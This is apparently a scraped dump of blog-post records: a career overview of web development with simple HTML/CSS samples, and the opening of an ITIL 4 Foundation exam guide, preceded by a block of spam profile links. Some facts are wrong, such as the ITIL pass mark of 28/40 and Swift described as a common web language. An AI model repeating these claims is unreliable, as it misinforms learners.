href="https://www.runnerspace.com/profile.php?member_id=588179">https://www.runnerspace.com/profile.php?member_id=588179</a> <a href="https://www.outdoorproject.com/users/bank-ussd-code-and-latest-bank-ussd-codes-2">https://www.outdoorproject.com/users/bank-ussd-code-and-latest-bank-ussd-codes-2</a> <a href="https://www.divephotoguide.com/user/thelatestbankussdcode2">https://www.divephotoguide.com/user/thelatestbankussdcode2</a> <a href="o-another-3e3j"></a> <a href=""></a> <a href="https://www.nexusmods.com/users/175074804">https://www.nexusmods.com/users/175074804</a> <a href="https://www.midi.org/forum/profile/102534-bank-ussd-code-and-latest-bank-ussd-codes2">https://www.midi.org/forum/profile/102534-bank-ussd-code-and-latest-bank-ussd-codes2</a> <a href="https://buddypress.org/members/thelatestbankussdcode2/profile/">https://buddypress.org/members/thelatestbankussdcode2/profile/</a> <a href="https://bitcoinblack.net/community/bank-ussd-code-and-latest-bank-ussd-codes/">https://bitcoinblack.net/community/bank-ussd-code-and-latest-bank-ussd-codes/</a> <a href="https://www.mifare.net/support/forum/users/bank-ussd-code-and-latest-bank-ussd-codes2/">https://www.mifare.net/support/forum/users/bank-ussd-code-and-latest-bank-ussd-codes2/</a> <img src="https://image.space.rakuten.co.jp/d/strg/ctrl/9/242ed274166bda0cc02dab27af63b863beb295e4.34.9.9.3.jpeg"/><img src="https://image.space.rakuten.co.jp/d/strg/ctrl/9/242ed274166bda0cc02dab27af63b863beb295e4.34.9.9.3.jpeg"/>
bankussdcodeandlatestbankcodes
1,364,024
What Makes Learning Web Development Worthwhile in the Coming Years?
What is web development? Web development refers to the creation of websites or web applications on...
0
2023-02-13T14:53:24
https://nerdleveltech.com/what-makes-learning-web-development-worthwhile-in-the-coming-years/
web, webdev, beginners, career
<!-- wp:paragraph --> <p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p></p> <!-- /wp:paragraph --> <!-- wp:heading {"level":1} --> <h1 id="Whatis">What is web development?</h1> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Web development refers to the <a href="https://nerdleveltech.com/how-to-make-your-corporate-website-stand-out-with-these-10-tips/" target="_blank" rel="noreferrer noopener">creation of websites</a> or web applications on the internet. It involves a range of tasks, from developing the overall structure and design of a website to writing the code that brings a website to life. Web development can be a complex process, and it typically involves working with a variety of different technologies, including HTML, CSS, and JavaScript, as well as server-side languages like PHP, Ruby, Nodejs, and Python. <a href="https://nerdleveltech.com/how-to-become-a-web-developer-fast-and-get-your-first-job/" target="_blank" rel="noreferrer noopener">Web developers</a> may work on the <a href="https://nerdleveltech.com/how-to-become-a-front-end-developer-skills-roles-and-salary/" target="_blank" rel="noreferrer noopener">front end</a> of a website, which is the part that users interact with, or on the back end, which is the part that handles the behind-the-scenes functionality of a website. Web development is a rapidly evolving field, and web developers need to stay up-to-date with the latest technologies and best practices in order to create effective and engaging websites and web applications.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><br></p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/650c112d-9059-4fa9-aa0b-e039419eaee8.png" alt="laptop, tablet, smartphone, web development"/></figure> <!-- /wp:image --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="future">What does the future look like for the field of web development?</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>It is safe to say that web development will continue to be an important and dynamic field. As the internet continues to grow and evolve, the demand for web developers is likely to increase as well. The technologies and tools used in web development will also continue to evolve and improve, which will enable web developers to create even more advanced and sophisticated websites and applications. Additionally, the rise of new technologies such as artificial intelligence, virtual and augmented reality, and the Internet of Things is likely to create new opportunities and challenges for web developers. The future of web development looks bright, and it will continue to be an exciting and rewarding field for those who are passionate about technology.<br></p> <!-- /wp:paragraph --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/fc0846bf-296b-417d-878b-f406a94c1f25.png" alt="artificial intelligence, brain, think"/></figure> <!-- /wp:image --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="good-time">Is now a good time to become a web developer?</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Web development is a rapidly growing and dynamic field, and web developers are in high demand due to the increasing complexity and diversity of web application development.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Are there any great job opportunities out there for web developers? The answer is yes. The Internet has transformed the way we live. If you want to join a new, exciting industry to develop new technology, we recommend you to do so and become a web developer. The tech was not only “covid-proof”, but also relatively recessionproof.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>People are getting involved more and more with the web every day and are accessing the internet using their smartphones and tablets, so it will be important for web developers to create websites and web applications that are optimized for those smart devices.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>It will become even more important for websites and applications to deliver a memorable user experience that your users will enjoy. Developers with a flair for delivering an engaging user experience should look into the opportunities these trends present.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>In summary, behind every web technology lies an experienced and talented team of developers that are responsible to update, developing, and maintain it. Technology evolves every day, so it's important that talented web developers be always available and exist.<br><br></p> <!-- /wp:paragraph --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/385648ea-5bf1-4299-83e4-f3ed21f6c096.png" alt="programmer, programming, code. web developer"/></figure> <!-- /wp:image --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="differ">How do web design and web development differ?</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Web development and web design are two separate fields that are often confused. While they are related, they are distinct disciplines with different focuses and objectives.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Web design is focused on the aesthetic and functional aspects of a website, and involves the planning and creation of the user interface and user experience. A web designer is responsible for the layout, color scheme, and overall look and feel of a website, as well as its navigation and user flow.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Web development, on the other hand, is focused on the technical aspects of building a website. This includes writing code to create the various components of a website, such as the front-end and back-end, and integrating them to create a functional and usable website. Web developers are responsible for the implementation and maintenance of a website, and may use a variety of <a href="https://nerdleveltech.com/how-to-learn-programming-all-you-need-to-know-guide/" target="_blank" rel="noreferrer noopener">programming skills</a> and frameworks to do so.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>A web developer is a programmer who specializes in the development of applications and services that are accessed over the Internet through a web browser. Web developers use a variety of technologies and languages, such as HTML, CSS, and JavaScript, to create the structure, layout, and design of a website or web application.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Web developers are responsible for building and maintaining the various components of a web application, including the user interface, server-side logic, and database. They may also be responsible for integrating the web application with other systems and APIs, and for implementing features and functionality that enhance the user experience.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>In summary, web design is concerned with the visual and user-facing aspects of a website, while web development is focused on the technical implementation and functionality of a website.</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2></h2> <!-- /wp:heading --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/8d04e6a9-1f70-4d0f-ae64-a7096844ba71.png" alt="web, web developer, full stack developer"/></figure> <!-- /wp:image --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="roles">What does a web developer do?</h2> <!-- /wp:heading --> <!-- wp:heading {"level":3} --> <h3 id="frontend">Front-end web development</h3> <!-- /wp:heading --> <!-- wp:paragraph --> <p>A front-end developer is a web developer who specializes in the client side of web development. They are responsible for building and maintaining the user interface and user experience of a web application, including the layout, design, and interactivity.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Front-end developers typically have expertise in front-end technologies and languages, such as HTML, CSS, and JavaScript. They are responsible for implementing the visual design of a web application, including the layout, typography, and color scheme. They may also be responsible for implementing interactive elements, such as buttons, forms, and menus, and for integrating the web application with back-end systems and APIs.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">In addition to technical skills, front-end developers need to have a strong understanding of user experience and design principles. They should be able to create web applications that are intuitive, user-friendly, and aesthetically pleasing.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Front-end development is a crucial part of web development, and front-end developers play a critical role in creating the look and feel of a web application.<br></p> <!-- /wp:paragraph --> <!-- wp:heading {"level":3} --> <h3 id="backend">Back-end web development</h3> <!-- /wp:heading --> <!-- wp:paragraph --> <p id="backend">Backend developers are web developers who specialize in the server-side of web development. They are responsible for building and maintaining the underlying logic and infrastructure of a web application, including the server-side logic, database, and APIs.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Back-end developers typically have expertise in server-side languages and technologies, such as PHP, Python, Ruby, and Node.js. They are responsible for implementing the server-side logic of a web application, including business rules, data validation, and user authentication. They may also be responsible for designing and implementing the database schema, and for integrating the web application with other systems and APIs.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">In addition to technical skills, back-end developers need to have strong problem-solving, communication, and collaboration skills. They should be able to think critically and logically and be able to design and implement solutions that are scalable, maintainable, and efficient.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Backend development is an important part of web development, and back-end developers play a critical role in building and maintaining the functionality and performance of a web application.<br></p> <!-- /wp:paragraph --> <!-- wp:heading {"level":3} --> <h3 id="fullstack">Full-stack web development</h3> <!-- /wp:heading --> <!-- wp:paragraph --> <p>A full-stack developer is a web developer who has expertise in both front-end and back-end development. They are responsible for building and maintaining the entire web application, from the user interface and user experience to the underlying server-side logic and database.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Full-stack developers typically have a deep understanding of the technologies and languages that are used to build web applications, including HTML, CSS, JavaScript, and server-side languages such as PHP, Python, and Ruby. They are able to work on all layers of the web application, from the user interface and user experience to the database and server-side logic.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">In addition to technical skills, full-stack developers need to have strong problem-solving, communication, and collaboration skills. They should be able to think creatively and critically and be able to adapt to changing technologies and requirements.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Full-stack development is a challenging and rewarding field, and full-stack developers are in high demand due to the increasing complexity and diversity of web applications.</p> <!-- /wp:paragraph --> <!-- wp:heading {"level":3} --> <h3 id="webmaster">Webmasters</h3> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Webmasters are responsible for building, maintaining, and updating websites. They may also be responsible for integrating the website with other systems or cloud services, such as databases and content management systems (CMS), and for implementing features and functionality that enhance the user experience.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Webmasters typically work closely with other members of a development team, including graphic designers, content creators, and project managers, to create and maintain a website that meets the needs of the business or organization. They may also work with clients to understand their requirements and provide solutions that meet their needs.</p> <!-- /wp:paragraph --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/5090d143-c5a6-4237-bd73-690fa2e1813f.png" alt="website, blogging, design"/></figure> <!-- /wp:image --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="steps">Where to start and what are the first steps?</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>If you are new to web development and are wondering where to start and what the first steps are, here are some suggestions:</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><!-- wp:list-item --> <li><p><strong>Learning web development fundamentals which are HTML and CSS</strong> - These are the core technologies of the web, and a good foundation in these languages is essential for any web developer. You can start by learning the basics of HTML and CSS, such as the structure of a web page, how to add content and styles, and how to create a simple, static web page.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Choose a development environment</strong> - A development environment is a set of tools and resources that you will use to build and test your web applications. This typically includes a text editor or integrated development environment (IDE) for writing code, a web browser for testing your web pages, and a local web server for running your web applications. The vscode editor with a huge variety of <span style="color: initial;">plugins will definitely need to be on your radar.</span></p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Build a simple web page</strong> - Once you have learned the basics of HTML and CSS, try building a simple web page that includes some text, images, and basic styles. This will give you a chance to practice the skills you have learned and see how the different technologies work together. Then go further and start copying some of the most popular web apps and memic try to recreate it, I mean just the design here.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Explore web development frameworks and libraries</strong> - There are many web development frameworks and libraries available that can make it easier to build web applications. Some popular options include React, Angular, Vue.js, and Django. Once you've settled on a framework, start learning it immediately and stick with it until you master it.</p></li> <!-- /wp:list-item --></ul> <!-- /wp:list --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/e4111a0e-238e-41fb-abc8-bb66447d1d12.png" alt="software developer, web developer, programmer, software engineers"/></figure> <!-- /wp:image --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading {"level":3} --> <h3 id="fundamentals">Learn the fundamentals</h3> <!-- /wp:heading --> <!-- wp:paragraph --> <p><strong>HTML</strong>, or Hypertext Markup Language, is a programming language used to create and structure the content on web pages. <a href="https://developer.mozilla.org/en-US/docs/Web/HTML" target="_blank" rel="noreferrer noopener">HTML</a> uses a series of elements, or tags, to define the structure and layout of a web page, including headings, paragraphs, lists, and links. HTML also allows developers to add images, videos, and other multimedia content to a web page, making it a powerful and versatile language for building web applications.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>HTML code that defines a simple web page with a heading, paragraph, and image:</p> <!-- /wp:paragraph --> <!-- wp:prismatic/blocks --> <pre class="wp-block-prismatic-blocks"><code class="language-">&lt;!DOCTYPE html> &lt;html> &lt;head> &lt;title>My web page&lt;/title> &lt;/head> &lt;body> &lt;h1>Hello, World!&lt;/h1> &lt;p>This is my first web page.&lt;/p> &lt;img src="https://www.example.com/image.jpg" alt="A beautiful landscape"> &lt;/body> &lt;/html></code></pre> <!-- /wp:prismatic/blocks --> <!-- wp:paragraph --> <p>In this example, the <strong>&lt;html&gt;</strong> and <strong>&lt;body&gt;</strong> tags define the structure of the web page, and the <strong>&lt;h1&gt;</strong>, <strong>&lt;p&gt;</strong>, and <strong>&lt;img&gt;</strong> tags define the content of the page. The <strong>src</strong> attribute of the <strong>&lt;img&gt;</strong> tag specifies the URL of the image to be displayed, and the <strong>alt</strong> attribute provides a text description of the image for users who are unable to see it. So you need to learn about HTML tags and their attributes.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><strong>CSS</strong>, or Cascading Style Sheets, is a stylesheet language used to describe the look and formatting of a document written in a markup language. In the context of web development, CSS is used to control the appearance and layout of web pages written in HTML or other markup languages. CSS allows developers to define colors, fonts, sizes, and other styles for the content on a web page, making it an essential part of building modern, responsive web applications.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>CSS code that can be used to style the content of the above web page:</p> <!-- /wp:paragraph --> <!-- wp:prismatic/blocks --> <pre class="wp-block-prismatic-blocks"><code class="language-">body { font-family: Arial, sans-serif; background-color: #f1f1f1; } h1 { color: #333; text-align: center; margin: 30px 0; } p { color: #777; font-size: 18px; line-height: 1.5; padding: 0 20px; } img { width: 100%; height: auto; }</code></pre> <!-- /wp:prismatic/blocks --> <!-- wp:paragraph --> <p>In this example, the <strong>body</strong> selector applies styles to the <strong>&lt;body&gt;</strong> element of the web page, the <strong>h1</strong> selector applies styles to all <strong>&lt;h1&gt;</strong> elements, and the <strong>p</strong> and <strong>img</strong> selectors apply styles to all <strong>&lt;p&gt;</strong> and <strong>&lt;img&gt;</strong> elements, respectively. The styles defined in this CSS code specify the font family, background color, text alignment, and other properties of the page and its elements. Showing this example demonstrates how important to select an HTML element and what properties you need to work with to style it. So learn all types of selectors and what properties are needed with them.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>You can use a CSS framework to make your life much easier. The most popular ones are <a href="https://getbootstrap.com/" target="_blank" rel="noreferrer noopener">Bootstrap</a> and <a href="https://tailwindcss.com/" target="_blank" rel="noreferrer noopener">Tailwind CSS</a> are both front-end frameworks for building responsive, mobile-first web applications. Both frameworks provide a set of pre-defined CSS classes and components that can be easily incorporated into a web page to create a consistent, professional-looking design. Bootstrap and Tailwind CSS are powerful tools for building modern, responsive web applications. The choice between the two frameworks will depend on your personal preferences and the specific needs of your project.</p> <!-- /wp:paragraph --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading {"level":3} --> <h3 id="frameworks">Most Popular Frameworks</h3> <!-- /wp:heading --> <!-- wp:paragraph --> <p>There are many different frameworks that can be used for web development, and the popularity of each one can vary depending on the specific needs of a project and the preferences of the developer, team, or company. Some of the most popular frameworks for web development include:</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><!-- wp:list-item --> <li><p><strong>React: </strong>React is one of the most <strong><a href="https://nerdleveltech.com/javascript-functions-why-theyre-essential-to-understand-easy-guide/" target="_blank" rel="noreferrer noopener">javascript</a> </strong>frameworks<strong> </strong>out there for building user interfaces. It is used by many companies and has a large developer community.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Angular:</strong> Angular is a TypeScript-based open-source web application framework led by the Angular Team at Google and by a community of individuals and corporations.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Vue.js:</strong> Vue.js is a progressive JavaScript framework for building user interfaces. It is designed to be incrementally adoptable and can be integrated into existing projects.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Ember.js:</strong> Ember.js is an open-source JavaScript web framework for building large-scale web applications. It is known for its convention over configuration approach and emphasis on developer productivity.</p></li> <!-- /wp:list-item --></ul> <!-- /wp:list --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/1ba1db8b-7f6c-4c83-ad90-58184d70ccec.png" alt="artificial intelligence, robot, ai"/></figure> <!-- /wp:image --> <!-- wp:spacer {"height":"20px"} --> <div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="languages">Top 10 most popular programming languages for web development</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>The following list of programming languages is to help you know which language you want to study and pursue through your journey to becoming a web developer. Most of the time the choice will depend on the framework you picked or the other way around:</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><strong>JavaScript</strong> - let's start with the obvious <strong><a href="https://nerdleveltech.com/javascript-functions-why-theyre-essential-to-understand-easy-guide-part2/" target="_blank" rel="noreferrer noopener">most popular programming language for web development is JavaScript</a></strong>, it is a versatile language that is used for building front-end web applications. It is a client-side language, which means that it runs in the user's web browser and allows developers to create interactive and dynamic web pages. JavaScript is also used in server-side development through technologies such as Node.js, which allows developers to build scalable, high-performance web applications.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>Python</strong> - Python is a high-level, interpreted programming language that is widely used for web development. It has a simple and easy-to-learn syntax, making it a great choice for beginners. Python is also known for its powerful libraries and frameworks, such as Flask and Django, which make it easy to build complex web applications quickly.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>Java</strong> - Java is a popular, object-oriented programming language that is widely used for building scalable, high-performance web applications. It is a versatile language that can be used to build web applications for a variety of platforms, including desktop, mobile, and web.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>Ruby</strong> - Ruby is a high-level, interpreted programming language that is often used for web development. It is known for its simplicity and elegance, making it a popular choice among developers who want to build web applications quickly and easily.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>PHP</strong> - PHP is a popular scripting language that is widely used for building dynamic websites and web applications. It is a server-side language, which means that it runs on the web server and generates HTML pages that are sent to the user's web browser.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>C#</strong> - C# is a popular, object-oriented programming language that is often used for building web applications. It is a versatile language that can be used to build web applications for a variety of platforms, including desktop, mobile, and web.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>Swift</strong> - Swift is a modern, compiled programming language that is often used for building web applications. It is a powerful language that is known for its safety and performance, making it a great choice for building web applications that need to handle large amounts of data or perform complex calculations.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>Go</strong> - Go is a modern, compiled programming language that is often used for building web applications. It is a fast, efficient language that is known for its concurrency and scalability, making it a great choice for building web applications that need to handle large amounts of traffic or data.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>TypeScript</strong> - TypeScript is a popular, typed programming language that is often used for building large, complex web applications. It is a superset of JavaScript, which means that it includes all of the features of JavaScript, along with additional features that make it easier to build large, maintainable web applications.</p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><p><strong>Kotlin</strong> - Kotlin is a modern, compiled programming language that is often used for building web applications. It is a concise, powerful language that is known for its safety and interoperability with Java, making it a great choice for building web applications that need to integrate with existing Java code.</p></p> <!-- /wp:paragraph --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/714d0af8-f3d1-4b7f-a618-a40a2a024116.png" alt="web design, user interface, website"/></figure> <!-- /wp:image --> <!-- wp:heading --> <h2 id="career">Is Web Developer a good career?</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>There are many reasons why pursuing a career path in web development can be a good choice. Some of the benefits of a web development career include:</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><!-- wp:list-item --> <li><p><strong>High demand for web developers:</strong> The demand for web developers is consistently high, and is expected to continue to grow in the coming years. This means that there will be many opportunities for those with the skills and experience to succeed in this field.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Good pay:</strong> Web developers are <a href="https://www.bls.gov/ooh/computer-and-information-technology/web-developers.htm" target="_blank" rel="noreferrer noopener">well-paid</a>, with <a href="https://www.payscale.com/research/US/Job=Web_Developer/Salary" target="_blank" rel="noreferrer noopener">salaries</a> varying <a href="https://www.bls.gov/ooh/computer-and-information-technology/software-developers.htm" target="_blank" rel="noreferrer noopener">depending on experience</a>, location, and other factors. In general, web developers can expect to earn a good salary, and the potential for growth and advancement is strong.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Flexibility:</strong> Web development can offer a great deal of flexibility in terms of work location and schedule. Many web developers work remotely and are able to set their own hours and work on a flexible schedule.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Opportunities to learn and grow:</strong> Web development is a constantly changing field, with new technologies and tools emerging all the time. This means that there are always opportunities to learn and grow as a web developer and to stay at the forefront of the industry.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>Satisfaction from creating something tangible:</strong> As a web developer, you will have the opportunity to create something tangible and useful. This can be incredibly satisfying and can provide a sense of accomplishment and pride in your work.<br></p></li> <!-- /wp:list-item --></ul> <!-- /wp:list --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:heading --> <h2 id="scope">Future scope of web development</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>The future of web development looks bright, with many exciting developments and trends on the horizon. Some of the <strong>latest web development trends</strong> that are likely to shape the future of web development include:</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><!-- wp:list-item --> <li><p><strong>The rise of artificial intelligence and machine learning:</strong> AI and machine learning are becoming increasingly important in web development, with many new tools and frameworks emerging to help developers build AI-powered applications.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>The growth of the internet of things:</strong> The internet of things (IoT) is a network of connected devices that can collect and share data, and this is expected to grow significantly in the coming years. This will create new opportunities for web developers to build applications that can connect and interact with these devices.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>The increasing importance of mobile devices:</strong> As more and more people use smartphones and other mobile devices to access the web, it will become increasingly important for web developers to create mobile-friendly applications and websites.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>The rise of progressive web apps:</strong> Progressive web apps (PWAs) are web applications that look and feel like native mobile apps, and are expected to become more popular in the future. This will create new opportunities for web developers to build PWAs that can provide a seamless user experience across different devices and platforms.</p></li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><p><strong>The growth of cloud computing:</strong> Cloud computing is becoming increasingly important in web development, with many companies moving their applications and data to the cloud. This will create new opportunities for web developers to build cloud-native applications and integrate them with existing cloud services.</p></li> <!-- /wp:list-item --></ul> <!-- /wp:list --> <!-- wp:spacer --> <div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:image {"align":"center"} --> <figure class="wp-block-image aligncenter"><img src="https://nerdleveltech.com/wp-content/uploads/c96c000c-3773-475b-9610-baffd964ecd6.png" alt="purse, wallet, coffee"/></figure> <!-- /wp:image --> <!-- wp:heading --> <h2 id="conclusion">Conclusion:</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Web development is still worth learning because it is an essential skill for building and maintaining the websites and web applications that are the backbone of the modern Internet. As the world becomes more and more connected, the demand for web developers continues to grow, and there are many exciting opportunities for those who have the skills and expertise to build and maintain the web applications of the future.</p> <!-- /wp:paragraph --> <!-- wp:paragraph {"align":"start","className":"has-text-align-start"} --> <p class="has-text-align-start">Web development is also a rewarding and challenging field that allows developers to use their creativity and problem-solving skills to build applications that are used by millions of people around the world. With the right tools and resources, anyone can learn web development and start building their own web applications, opening up a world of possibilities and opportunities.</p> <!-- /wp:paragraph -->
aradwan20
1,364,255
Everything You Need to Know Before Taking the ITIL 4 Foundation Exam
The ITIL 4 Foundation certification is a popular and widely recognized certification in the field of...
0
2023-02-13T18:11:34
https://dev.to/ccslearning/everything-you-need-to-know-before-taking-the-itil-4-foundation-exam-ag
database, datascience, itil, cloud
The ITIL 4 Foundation certification is a popular and widely recognized certification in the field of IT service management. In this blog post, we'll explore everything you need to know before taking the ITIL 4 Foundation exam, including its format, content, eligibility criteria, and the best study resources. ## Understanding the ITIL 4 Foundation Exam Format The ITIL 4 Foundation exam format is designed to test your knowledge and understanding of the ITIL framework and its key concepts. The exam is a multiple-choice, closed-book test that is delivered online. Here are some key details about the exam format: **Number of Questions:** The ITIL 4 Foundation exam consists of 40 multiple-choice questions. **Time Limit:** You will have 60 minutes to complete the exam. **Types of Questions:** The questions in the ITIL 4 Foundation exam will test your understanding of the ITIL framework, its processes, and best practices. You may be asked questions about the purpose and objectives of various ITIL processes, the relationships between different processes, and the key concepts and terminology used in ITIL. **Scoring System:** The ITIL 4 Foundation exam is scored on a pass/fail basis. You will need to score at least 28 out of 40 questions correctly (or 70%) to pass the exam. **Closed Book:** The ITIL 4 Foundation exam is a closed-book test, which means you will not be able to use any reference materials or external resources during the exam. You will need to rely solely on your knowledge and understanding of the ITIL framework. It is important to understand the ITIL 4 Foundation exam format so that you can prepare effectively and increase your chances of passing the exam. By familiarizing yourself with the types of questions you may encounter and the time limit, you can focus your studies on the areas that are most important and ensure that you have enough time to answer all of the questions. ## Eligibility Criteria for the ITIL 4 Foundation Exam To take the ITIL 4 Foundation exam, you must meet certain eligibility criteria. These criteria are established to ensure that candidates have a basic understanding of the ITIL framework and the IT service management field. The eligibility criteria for the ITIL 4 Foundation exam include **Education:** There is no specific education requirement to take the ITIL 4 Foundation exam. However, it is recommended that candidates have a basic understanding of IT service management and the ITIL framework. **Work Experience:** There is also no work experience requirement to take the ITIL 4 Foundation exam. However, it is recommended that candidates have some experience working in an IT environment or with IT service management. **Prerequisites:** There are no formal prerequisites for the ITIL 4 Foundation exam. However, it is recommended that candidates familiarize themselves with the ITIL framework and its key concepts before taking the exam. It is important to note that the eligibility criteria for the ITIL 4 Foundation exam may vary depending on the organization or training provider that you take the exam through. It is always a good idea to check with the exam provider to confirm the specific eligibility requirements. By understanding the eligibility criteria for the ITIL 4 Foundation exam, you can determine whether you meet the requirements and whether you are ready to take the exam. If you do not meet the eligibility criteria, you may need 